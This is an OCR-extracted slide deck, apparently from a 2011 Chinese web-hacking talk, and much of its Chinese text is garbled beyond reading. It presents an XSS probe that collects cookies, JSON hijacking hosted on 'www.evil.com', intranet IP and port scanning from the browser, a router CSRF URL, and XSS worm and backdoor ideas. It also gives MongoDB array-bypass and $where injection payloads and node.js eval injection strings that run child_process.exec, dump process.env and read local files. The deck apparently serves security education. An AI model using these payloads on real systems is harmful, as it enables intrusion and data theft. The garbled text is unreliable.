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o HIE G THIFEER S
o« M BTTFIWebZZ AR A BGHIBTZE5-SC B, 4] BA R -
* @FME Q)T 2T A
* @HNE B FEGE L
* root@xeyeteam, web hacking.
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o W Yaas LRI
« MongoDB _EJlik 1%
e node.js_EHJ% 7
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o JEARFRARLNEE
« NIME %
i "
e XSS Virus% i |
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o HHHxssprobe
e https://github.com/evilcos/xssprobe
o FELAN T BRFA :

* browser, ua, lang, referer, location, toplocation, cookie,
domain, title, screen, flash

127.0.0.1 | 2011-08-22 14:36:08

UserAgent: Mozilla/5.0 (Windows NT 6.1; WOW64: rv:6.0) Gecko/20100101 Firefox/6.0
Referer: http://www. 0x37. com/xssprobe/demo. html

DATA: { browser :{ name’ : ' mozilla’, version : 6.0} "Mozilla/5.0 (Windows NT
Gecko/20100101 FirefoxﬂB.O’,’lang’::zh—CN’,:referrer : http...wwu.OxS..com,X>sprol
/*," location’ : http://www. 0x37. com/xssprobe/demo. html’, ’ toplocation’ : http://www. |
/demo. html’, ’cookie’:’xssprobe=1: popunder=yes; popundr=yes;

setover18=1", domain’ : www.0x37.com , title : xssprobe demo page{scriptralert (1)
{/script>’ ,:acreen::’14403900’,’f1ash’:’10.3 ri181°}

> ZAREFAESE




« JSON Hijacking, FeZniE /K&
« JSONXTFIE T, Aiftm LARNIAIZEH = X00H
* JSONIRZ 7 eBhFs
<script>
function func(o){
document.write("1 know who u r: "+o.userinfo.userid);

b

</script>
<script src="http://weibo.com/xxx.php?callback=func"></script>

S) ||} www.evil.com/jsonhtm

1 know who u r: evilcos@gmail. com
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o NIWIP3RHY

« INIMIPUR H 3k HY

o NI EHLAFTEIRE

o [ HH Web#2EHil| 5 #/E

o NI METT Web N FH 22 il

> AN %215




 JFUBE:181d Java Applet
« TFHEIRESFH, IRNIEA)
* http://reglos.de/myaddress/MyAddress.html

<script>
function MyAddress(ip){
new Image().src = "/steal ?info="+1p"&date="+new Date().getTime());
5
</script>

<APPLET CODE="MyAddress.class" MAYSCRIPT WIDTH=0
HEIGHT=0></APPLET>

>> [N IP5% HY




o JRH:
 ImageXG2in K, 5217 IR (FE{E) Btonerror, 2L EE A
timeout |, AFAnmapkt:(
var m = new Image();
m.onerror = function(){

if (!m) return;

m = undefined; alert("open");};
m.onload = m.onerror;
m.src="http://'+host+'":"+port;
setTimeout(function () {

if (!m) return;

m = undefined; alert("close");
¥, 900);

>> [N MIPm E 3% HY




o JFHH:
 IE FXDomainRequesti i iF =K
 onerror - fail
e ontimeout - ok
o HIE W s XMLHttpRequestis Ia 15 5K
« onreadystatechange - B[] Z= 3 H] T, timeout] fail
o WIIEX :
 http://ha.ckers.org/weird/xhr-ping-sweep.html

e http://securethoughts.com/security/ie&xdr/ie8xdr-ping-sweep.ht
ml

« 7] L fInmaptttt:)

>> [N EHL1FE R




o <img>i] FLCSRFE A FPALE, 4l : B FEFW300R
o HITE: HAREIN EanPr1F T WebfEH B =1k

o BOE AR [H)

* /userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.
255&Save=%C8%B7+%B6%A8

 BEUCELEM, IKE T WwE, Bl RN
» BHRAEZH ?

>> IR AWeh{Z= &l & ek




o 13l fuzzing W AT RE/F1EHYWeb M H

* window.onerror=function() {return true;};

* Inject <script>
<script src=http://intra/trac/chrome/tracwysiwyg/wysiwyg.js>
<script>
window.onload = function(){

if(typeof(TracWysiwyg)=="function') alert('trac exist.");

+</script>

/JFEZZ)J i refereriit: &% PN W Web M. H {5 E.

>> [R5 i 55 Neh 2 A 12 i)




o XEEPNH N Al e
* bbs/blog/trac/wiki/oa/mail/project/webim/web vuls vm
« HIHHEA MR
o IXLEEWebM A AN IEIFPSRAYTRIE, 20K Exsstsql:
e xss injectZ o JHIA
o« Wit AR ajaxid KsqliE N, SRR ERIEE, X
s BHEAEES ?

>> [N W iz 55 WNeh . A 42 il




o ZERINS, BAESEHLHIN... JavaScriptdafE T ...
o [EPYAREE ] a1l
e >k HknownsecH M| i 25224 A
o WVEERAT IR L INEEHTMLAL, &F1XSS

« SN
e http://www.80vul.com/?q=content/ = [F] A HI O H % 2 1%

s HIRFIDOMY B0, H{E T, % T
« EEAPP— 'R ER FAY YRR

. Chromef&Hitt:)

> ZERRGN T 25123 57




i, WEEBLK ?
* xss worm, csrf worm, clickjacking worm, idea worm...
« 2011, xeyebr | google reader clickjacking worm...
o NPT BEikME R . HARTEMT. B TRk
« XY, $IH LIAIE
o PIEALE NBYBE AT —IRBUE A2 H 1Y
* XSS Backdoor/Rootkit
 F]H#Cookie/localStorage XSS, payloadfi fr/EAH
- HEMTGIEEDOME, — NIEERIIA T )

> KSS Virus %t




o TE— P WebE75 R4t By KR

o Z 5B E WebN FH TR Y XS ST BE. THY R 4

- EREY
o HtE 2 B AR

o IEZEVLRF U AE :
o IXEERIF FRLAEAOME R A K
- ‘EanE B

> RARB T




* Array Bypass Injection Attack
 JavaScript Injection Attack

MongoDB _L 4% 17




o« B UL BATHE S RBSONKS K, RN {5
TR & FESQLIEA...
« REMAFAE, FISQLIEAR—ERIXFELTH:)
* IXHLAEArray Bypass InjectiondJELis

o B UK :
* http://www.mongodb.org/display/DOCS/Do+I+Have+to+W
orry+About+SQL+Injection

> Array Bypass Injection Attack




« A B EHbypass
« MongoDB H Hy & ) {44 2 {} 24 JZ 20 (BSON)
« PHPHIS GET%AZEIHIELE {2 P =X
. <?php var_dump($_GET);?>
t.php?x[y]=1
* array(1) { ["x"]=> array(l) { ["y"]=> string(1) "1" } }
o MRS HAE I AMongoDBiH1T 547 1]
e {'passwd":x}
o yA] LLiE : Sexists/$ne/$regex S 51X L 5 R 04T, EHE T
BHFMTUIRE Z NE

> Array Bypass Injection Attack




* Mmore.

* http://www.idontplaydarts.com/2010/07/mongodb-is-vulner
able-to-sql-injection-in-php-at-least/
* http://www.mongodb.org/display/DOCS/Advanced+Queries

> Array Bypass Injection Attack




* eval, $where, MapReduce5E L HJavaScript#l ] 51X
FEEY[A) R, 20
 db.xx.find({$where:function(){return
this.a=="Tuserinput]';} })
e [userinput]ZF1'|| '1B}, return¥ture
o LS S
°* MOore:

* http://www.mongodb.org/display/DOCS/Server-side+Code+Execu
tion
* http://www.php.net/manual/en/mongo.security.php

> JavaScript Injection Attack
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* >>node hi.js
var http = require('http');
http.createServer(function (req, res) {
var t = require('url’).parse(req.url,true).query.t;
r=eval();
res.writeHead(200, {'Content-Type'": 'text/plain'});
res.end('Hello node.js, how can 1 hack u?\n>> "+t+"\n>> +r);
P.listen(1337, "127.0.0.1");
console.log('Server running at http://127.0.0.1:1337/");

> J= feval




> OS’fI:l W
* 4N:?2t=0%3drequire('os");JSON.stringify(o.cpus());
e JSON.stringify PN & K2, #2AbFn H
o cpusO)fFElcpufH (B E, 20F :

o os.tmpDir()

- c 1270011_3””‘ 3drequire(‘os"): ........ ................................. \J > l‘ﬂ? *

Hello node. js, how can 1 hack u?

>> o=require( oz’ ) ;JSON. stringify(o.cpus()); S

>> [{"model”:“Intel(R) Core(TH) i3 CPU M 380 @| © osrelease) times":
{"user”:0, "nice”:0, “sys":0, “1dle”:0, “irq":0}}, {"model” © os.uptime() CPU

N 380 @ 2.53GHz", "speed”:2527, "times": {"user”:0, "nice o os.loadavg() rq :0}1,
{"model”:"Intel(R) Core(TM) 13 CPU M 380 @ 2.53 o os.totalmem() ="
{"user”:0, “nice”:0, “sys":0, "idle”:0, “irq”:0}}, {"model” St hanend) CPU

M 380 @ 2.53GHz", "speed”:2527, “times": {"user”:0, "nice oscpub() """""""" rq“:0}}]

>Emeval




:EEEﬂ%IE1F3/L_D:

o 2t=process.pid 5| FEpid =5

* 2t=JSON.stringify(process.versions) #5+%EInode.js & 4 -+
9%1%1%\ :

Hello node. js, how can 1 hack u?
>> JSON. stringify(process. versions)
>> {"node”:"0.6.19", "v8":"3.6.6.25%, “ares":" 1. T. 5-DEV", "uv":“0. 6", “openss1”:"0. 9. 8x"}

e 2t=JSON.stringify(process.env) G2 E54AF & :
»>> {"ACPath":"C:\\Program Files (x86)\\Lenovo\\Access

Connectionsi\", "ALLUSERSPROFILE" : “C:\\ProgramData", "APPDATA" : “C: \\Users\"
(x86) \\Common Files", “CommonProgramFiles (x86)":"C:\\Program Files (x86)\"

o EFEwin [ Ib r] Llgetuid/getgid/setuid/setgid % ...

> J= feval




o« IWRREPAT RGN
o :?2t=require('child process").exec('calc.exe")

> J= feval




« ERGI
« H.:?2t=require('fs").writeFile("hack.txt','xxxx")
e 3L : 2t=require('fs').readFileSync('c:\\windows\\php.ini')

&« C ® 127.0.0.1:1337/?t=require('fs").readFileSync('c:\\windows\\php.ini

Hello node. js, how can 1 hack u?
>» requirel fs').readFileSync(’ c:\\windows\\php.ini’)
>> [PHP]

. Thizs i1s the default settings file for new PHP installations.

. By default, PHP installs itself with a configuration suitable for

. development purposes, and *NOT* for production purposes.

. For several security-oriented considerations that should be taken

. before going online with wour site, please consult php. ini-recommended
. and http://php. net/manual/en/security. php.

> J= feval




» node.js F] LA R & I1%imodules
o &N :require('./xx.js")
« TAITRILA:
* require(’./xx.Jpg")
 require('c:\\tmp\\xx.jpg')
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* CouchDB
* Kinect
e Opera Unite - 20127

il I S 2
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e Thx, Q&A.




